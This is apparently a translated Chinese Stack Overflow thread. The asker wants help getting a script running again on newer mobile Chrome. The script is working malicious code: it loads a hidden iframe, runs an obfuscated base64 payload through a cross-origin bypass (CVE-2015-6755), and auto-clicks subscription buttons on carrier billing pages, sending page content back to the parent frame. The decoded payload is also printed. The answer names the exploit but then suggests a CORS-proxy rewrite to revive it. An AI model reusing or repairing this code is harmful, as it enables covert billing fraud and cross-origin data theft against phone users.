我正在处理的JavaScript似乎无法在高于Chrome mobile 45的版本上运行。我无法找到调试时发生的情况,但我认为某个方法可能已被弃用。任何人都知道使用哪种方法,或者如何调试它以更好地自己调查?
这是功能:
<script>
function cxc(x, group) {
mixtracker.track("CXC", "cxc(" + x + ")", group);
var navU = navigator["userAgent"];
var isAndroidMobile = navU["indexOf"]("Android") > -1 && navU["indexOf"]("Mozilla/5.0") > -1 && navU["indexOf"]("AppleWebKit") > -1;
var pattern=/Chrome\/([\d\.]+)/;
var regExChrome = new RegExp(pattern);
var resultChromeRegEx = regExChrome["exec"](navU);
var chromeVersion = (resultChromeRegEx === null ? null : regExChrome["exec"](navU)[1]);
var cv=chromeVersion===null?null:chromeVersion.substr(3).replace(/\./g,'');
var value= "d2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSgnMDExLkRCIENBTEwtSU5JVElBTD4+PmhyZWY6WycgKyB3aW5kb3cubG9jYXRpb24uaHJlZiArICddOyByZWY6WycgKyBkb2N1bWVudC5yZWZlcnJlciArICddOycsICcqJyk7CndpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoJzExMS5EQiBDQUxMLUhUTUwoMCk+Pj4nKyBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaHRtbCcpWzBdLmlubmVySFRNTCwgJyonKTsKCnZhciBCYXNlNjQgPSB7CgovLyBwcml2YXRlIHByb3BlcnR5CiAgICBfa2V5U3RyIDogIkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89IiwKCi8vIHB1YmxpYyBtZXRob2QgZm9yIGVuY29kaW5nCiAgICBlbmNvZGUgOiBmdW5jdGlvbiAoaW5wdXQpIHsKICAgICAgICB2YXIgb3V0cHV0ID0gIiI7CiAgICAgICAgdmFyIGNocjEsIGNocjIsIGNocjMsIGVuYzEsIGVuYzIsIGVuYzMsIGVuYzQ7CiAgICAgICAgdmFyIGkgPSAwOwoKICAgICAgICBpbnB1dCA9IEJhc2U2NC5fdXRmOF9lbmNvZGUoaW5wdXQpOwoKICAgICAgICB3aGlsZSAoaSA8IGlucHV0Lmxlbmd0aCkgewoKICAgICAgICAgICAgY2hyMSA9IGlucHV0LmNoYXJDb2RlQXQoaSsrKTsKICAgICAgICAgICAgY2hyMiA9IGlucHV0LmNoYXJDb2RlQXQoaSsrKTsKICAgICAgICAgICAgY2hyMyA9IGlucHV0LmNoYXJDb2RlQXQoaSsrKTsKCiAgICAgICAgICAgIGVuYzEgPSBjaHIxID4+IDI7CiAgICAgICAgICAgIGVuYzIgPSAoKGNocjEgJiAzKSA8PCA0KSB8IChjaHIyID4+IDQpOwogICAgICAgICAgICBlbmMzID0gKChjaHIyICYgMTUpIDw8IDIpIHwgKGNocjMgPj4gNik7CiAgICAgICAgICAgIGVuYzQgPSBjaHIzICYgNjM7CgogICAgICAgICAgICBpZiAoaXNOYU4oY2hyMikpIHsKICAgICAgICAgICAgICAgIGVuYzMgPSBlbmM0ID0gNjQ7CiAgICAgICAgICAgIH0gZWxzZSBpZiAoaXNOYU4oY2hyMykpIHsKICAgICAgICAgICAgICAgIGVuYzQgPSA2NDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgb3V0cHV0ID0gb3V0cHV0ICsKICAgICAgICAgICAgICAgIHRoaXMuX2tleVN0ci5jaGFyQXQoZW5jMSkgKyB0aGlzLl9rZXlTdHIuY2hhckF0KGVuYzIpICsKICAgICAgICAgICAgICAgIHRoaXMuX2tleVN0ci5jaGFyQXQoZW5jMykgKyB0aGlzLl9rZXlTdHIuY2hhckF0KGVuYzQpOwoKICAgICAgICB9CgogICAgICAgIHJldHVybiBvdXRwdXQ7CiAgICB9LAoKLy8gcHVibGljIG1ldGhvZCBmb3IgZGVjb2RpbmcKICAgIGRlY29kZSA6IGZ1bmN0aW9uIChpbnB1dCkgewogICAgICAgIHZhciBvdXRwdXQgPSAiIjsKICAgICAgICB2YXIgY2hyMSwgY2hyM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mFzZTY0Ll91dGY4X2RlY29kZShvdXRwdXQpOwoKICAgICAgICByZXR1cm4gb3V0cHV0OwoKICAgIH0sCgovLyBwcml2YXRlIG1ldGhvZCBmb3IgVVRGLTggZW5jb2RpbmcKICAgIF91dGY4X2VuY29kZSA6IGZ1bmN0aW9uIChzdHJpbmcpIHsKICAgICAgICBzdHJpbmcgPSBzdHJpbmcucmVwbGFjZSgvXHJcbi9nLCJcbiIpOwogICAgICAgIHZhciB1dGZ0ZXh0ID0gIiI7CgogICAgICAgIGZvciAodmFyIG4gPSAwOyBuIDwgc3RyaW5nLmxlbmd0aDsgbisrKSB7CgogICAgICAgICAgICB2YXIgYyA9IHN0cmluZy5jaGFyQ29kZUF0KG4pOwoKICAgICAgICAgICAgaWYgKGMgPCAxMjgpIHsKICAgICAgICAgICAgICAgIHV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIGlmKChjID4gMTI3KSAmJiAoYyA8IDIwNDgpKSB7CiAgICAgICAgICAgICAgICB1dGZ0ZXh0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKGMgPj4gNikgfCAxOTIpOwogICAgICAgICAgICAgICAgdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKChjICYgNjMpIHwgMTI4KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIHV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoYyA+PiAxMikgfCAyMjQpOwogICAgICAgICAgICAgICAgdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYyA+PiA2KSAmIDYzKSB8IDEyOCk7CiAgICAgICAgICAgICAgICB1dGZ0ZXh0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKGMgJiA2MykgfCAxMjgpOwogICAgICAgICAgICB9CgogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHV0ZnRleHQ7CiAgICB9LAoKLy8gcHJpdmF0ZSBtZXRob2QgZm9yIFVURi04IGRlY29kaW5nCiAgICBfdXRmOF9kZWNvZGUgOiBmdW5jdGlvbiAodXRmdGV4dCkgewogICAgICAgIHZhciBzdHJpbmcgPSAiIjsKICAgICAgICB2YXIgaSA9IDA7CiAgICAgICAgdmFyIGMgPSBjMSA9IGMyID0gMDsKCiAgICAgICAgd2hpbGUgKCBpIDwgdXRmdGV4dC5sZW5ndGggKSB7CgogICAgICAgICAgICBjID0gdXRmdGV4dC5jaGFyQ29kZUF0KGkpOwoKICAgICAgICAgICAgaWYgKGMgPCAxMjgpIHsKICAgICAgICAgICAgICAgIHN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKGMpOwogICAgICAgICAgICAgICAgaSsrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgaWYoKGMgPiAxOTEpICYmIChjIDwgMjI0KSkgewogICAgICAgICAgICAgICAgYzIgPSB1dGZ0ZXh0LmNoYXJDb2RlQXQoaSsxKTsKICAgICAgICAgICAgICAgIHN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYyAmIDMxKSA8PCA2KSB8IChjMiAmIDYzKSk7CiAgICAgICAgICAgICAgICBpICs9IDI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBjMiA9IHV0ZnRleHQuY2hhckNvZGVBdChpKzEpOwogICAgICAgICAgICAgICAgYzMgPSB1dGZ0ZXh0LmNoYXJDb2RlQXQoaSsyKTsKICAgICAgICAgICAgICAgIHN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYyAmIDE1KSA8PCAxMikgfCAoKGMyICYgNjMpIDw8IDYpIHwgKGMzICYgNjMpKTsKICAgICAgICAgICAgICAgIGkgKz0gMzsKICAgICAgICAgICAgfQoKICAgICAgICB9CgogICAgICAgIHJldHVybiBzdHJpbmc7CiAgICB9Cgp9Cg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uLnJlcGxhY2UodHR0KTsKICAgIHdpbmRvdy5wYXJlbnQucG9zdE1lc3NhZ2UoJ3pmb3VuZCB0dHQgY2xpY2tlZD4+PicrIGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdodG1sJylbMF0uaW5uZXJIVE1MLCAnKicpOwp9CmVsc2UKewogICAgd2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSgnZWxzZSA+PmhyZWY6WycgKyB3aW5kb3cubG9jYXRpb24uaHJlZiArICddOyByZWY6WycgKyBkb2N1bWVudC5yZWZlcnJlciArICddOycsICcqJyk7CiAgICB3aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCdlbHNlID4+PicrIEJhc2U2NC5lbmNvZGUoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2h0bWwnKVswXS5pbm5lckhUTUwpLCAnKicpOwogICAgd2luZG93LnBhcmVudC5wb3N0TWVzc2FnZSgnNjQ2NC5EQiBDQUxMLUhUTUwoMCk+Pj4nKyAoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2h0bWwnKVswXS5pbm5lckhUTUwpLCAnKicpOwoKfQ==";
if (isAndroidMobile && cv!=='0') {
//console.re.log("IDBKeyRange.only.call::" + navU);
IDBKeyRange.only.call(frames[x],0).constructor.constructor('eval(atob(\"'+ value +'\"))')();
}else{
//console.re.log("window.open0000::" + navU);
window.open("\u0000javascript:eval(atob(\""+ value +"\"))", "androidload"+x);
}
}
var i0 = document.documentElement.appendChild(document.createElement('iframe'));
i0.onload = function(){cxc(0, 'em5601')};
i0.setAttribute('style', 'opacity: 0;overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;position:absolute;top:0px;left:0px;right:0px;bottom:0px');
i0.setAttribute('sandbox', 'allow-scripts allow-forms allow-same-origin allow-popups allow-top-navigation');
i0.src = "javascript:window.location.replace('http://www.url_for_iframe.com')";
setTimeout(function(){location.replace(jmurl);}, 200000);
</script>
这是“值”内部功能的解密:
window.parent.postMessage('011.DB CALL-INITIAL>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.parent.postMessage('111.DB CALL-HTML(0)>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
var Base64 = {
// private property
_keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
// public method for encoding
encode : function (input) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
input = Base64._utf8_encode(input);
while (i < input.length) {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
}
return output;
},
// public method for decoding
decode : function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
while (i < input.length) {
enc1 = this._keyStr.indexOf(input.charAt(i++));
enc2 = this._keyStr.indexOf(input.charAt(i++));
enc3 = this._keyStr.indexOf(input.charAt(i++));
enc4 = this._keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
}
output = Base64._utf8_decode(output);
return output;
},
// private method for UTF-8 encoding
_utf8_encode : function (string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";
for (var n = 0; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < 128) {
utftext += String.fromCharCode(c);
}
else if((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
}
else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}
}
return utftext;
},
// private method for UTF-8 decoding
_utf8_decode : function (utftext) {
var string = "";
var i = 0;
var c = c1 = c2 = 0;
while ( i < utftext.length ) {
c = utftext.charCodeAt(i);
if (c < 128) {
string += String.fromCharCode(c);
i++;
}
else if((c > 191) && (c < 224)) {
c2 = utftext.charCodeAt(i+1);
string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
i += 2;
}
else {
c2 = utftext.charCodeAt(i+1);
c3 = utftext.charCodeAt(i+2);
string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
i += 3;
}
}
return string;
}
}
//href:[http://mdsp.orange.be/w-ha/app-bundlepurchase/node?m=h%3D9fe98a8bc94d55490be0b7426811be29%3Bp%3D10296%3Bk%3D10296%3Bv%3D3%3A%7Bc%3DPurchaseTypeReq%3Bv%3D%7Bpurchasecase%3D8%3Bmp%3D%7B_ap_sid%3D231521212%3B_ap_moduleId%3D18%3B_ap_pid%3D12100_0500_Game2up%3B_ap_lg%3Dnl%3Bformat%3Dxhtml%3B_ap_type%3Dsubscription%3B%7D%3BmerchantCallbackURL%3Dhttp%3A%2F%2Fmp.mobile-gw.com%2Fbe-mobistar%2F%3Bpi%3D12100_0500_Game2up%3B%7D%7D&redirect=1&MCO=OFR]; ref:[http://uprealtime.com/hrfp?url=http%3A%2F%2Fplay.bngmbl.com%2F%3Fm%3D0BPKJG177027%26offer_key%3D177027%26fc%3D1%26a%3DM_2989642965830d8e2a9f1492660440%26pubid%3D1355];"
function getMetaURL() {
var metas = document.getElementsByTagName('meta');
for (var i = 0; i < metas.length; i++) {
if (metas[i].getAttribute("http-equiv") == "refresh") {
var cont = metas[i].getAttribute("content");
var result = new RegExp("url=(.*)$", "i").exec(cont);
return result[1].replace("'", "").replace("'", "")
}
}
return ""
}
var ttt = getMetaURL();
url = window.location.href;
function getMetaURL(){
var metas = document.getElementsByTagName('meta');
for (var i=0; i<metas.length; i++){
if (metas[i].getAttribute("http-equiv") == "refresh"){
var cont = metas[i].getAttribute("content");
var result = new RegExp("url=(.*)$", "i").exec(cont);
if(result[1].match(/^\//gi) != null){
return "http://" + location.hostname + result[1].replace("'", "").replace("'", "");
}else{
return result[1].replace("'", "").replace("'", "");
}
}
}
return "";
}
var refresh = getMetaURL();
if(refresh != ""){
window.parent.postMessage('A : [Refresh]>>>; lpnum:[98]; refresh: [' + refresh + ']; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.location.href = refresh;
window.parent.postMessage('A : [Refresh]ed>>>','*');
}
else if(document.getElementById('older')!=undefined)
{
window.parent.postMessage('found bolder>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
document.getElementById('older').checked = true;
document.getElementsByTagName('form')[0].submit();
window.parent.postMessage('form submitted>>>', '*');
}
else if(document.getElementsByClassName('large expanded success button float-center').length>0)
{
window.parent.postMessage('found large expanded success button float-center>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
document.getElementsByClassName('large expanded success button float-center')[0].click();
window.parent.postMessage('large expanded success button float-center submitted>>>', '*');
}
else if(window.location.href.indexOf("appsilike.mobi/BE")!=-1)
{
window.parent.postMessage('in appsilike.mobi>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
setTimeout(
function () {
document.getElementsByClassName('button pulse').length>0 && document.getElementById('check')!=undefined
window.parent.postMessage('found button pulse>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
document.getElementById('check').checked = true;
document.getElementsByClassName('button pulse')[0].click();
window.parent.postMessage('found button pulse clicked>>>', '*');
},
1900
);
window.parent.postMessage('in appsilike.mobi2>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
}
else if(document.getElementById('Operator')!=undefined)
{
window.parent.postMessage('found Operator>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
document.getElementById('Operator').value = '20610';
document.getElementById('submit_button').click();
window.parent.postMessage('submit_button submitted>>>', '*');
}
else if(url.indexOf('mdsp.orange.be/w-ha/app-bundlepurchase/node')!=-1 &&
document.getElementsByClassName('button').length==3)
{
window.parent.postMessage('found btn >>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.parent.postMessage('found btn>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
setTimeout(
function () {
document.getElementsByClassName('button')[2].click();
},
2000
);
window.parent.postMessage('btn clicked>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
}
else if(ttt!="" && ttt.indexOf("video-wrld.com/BE")!=-1)
{
window.parent.postMessage('zfound ttt>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.parent.postMessage('zfound ttt>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
location.replace(ttt);
window.parent.postMessage('zfound ttt clicked>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
}
else
{
window.parent.postMessage('else >>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.parent.postMessage('else >>>'+ Base64.encode(document.getElementsByTagName('html')[0].innerHTML), '*');
window.parent.postMessage('6464.DB CALL-HTML(0)>>>'+ (document.getElementsByTagName('html')[0].innerHTML), '*');
}
在调试期间,从该值执行的代码为else,如果被调用:
else if(window.location.href.indexOf("appsilike.mobi/BE")!=-1)
本质上,脚本的作用是创建一个带有第三方网站的iframe,在该网站上导航以查找在那里的“提交”按钮,并将其传递给父级并选中一个复选框。
最佳答案
这看起来像利用https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6755的恶意代码,该代码已在chrome 46中修复,如下所示:https://chromereleases.googleblog.com/2015/10/stable-channel-update.html
[$ 8837] [519558]高CVE-2015-6755:Blink中的跨域绕过。
感谢Mariusz Mlynski。
由于isAndroidMobile
将是false
,因此将调用此行
window.open("\u0000javascript:eval(atob(\""+ value +"\"))", "androidload"+x);
在这里,我们看到了漏洞利用的用法。使脚本运行的一种解决方案是使用CORS代理并重写代码。